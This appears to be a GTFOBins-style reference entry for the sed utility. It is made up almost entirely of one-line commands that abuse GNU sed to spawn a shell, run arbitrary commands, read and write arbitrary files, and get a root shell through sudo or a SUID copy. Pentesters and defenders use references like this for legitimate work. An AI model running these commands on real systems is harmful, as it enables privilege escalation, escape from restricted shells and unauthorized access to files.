| description |
code |
| GNU version only. Also, this requires `bash`. |
sed -n '1e exec sh 1>&0' /etc/hosts |
|
| description |
code |
| GNU version only. The resulting shell is not a proper TTY shell. |
sed e |
|
|
| description |
code |
| GNU version only. |
sed -n '1e id' /etc/hosts |
|
|
| code |
| LFILE=file_to_write
sed -n "1s/.*/DATA/w $LFILE" /etc/hosts
|
|
|
| code |
| LFILE=file_to_read
sed '' "$LFILE"
|
|
|
| code |
| LFILE=file_to_read
./sed -e '' "$LFILE"
|
|
|
| description |
code |
| GNU version only. Also, this requires `bash`. |
sudo sed -n '1e exec sh 1>&0' /etc/hosts |
|
|
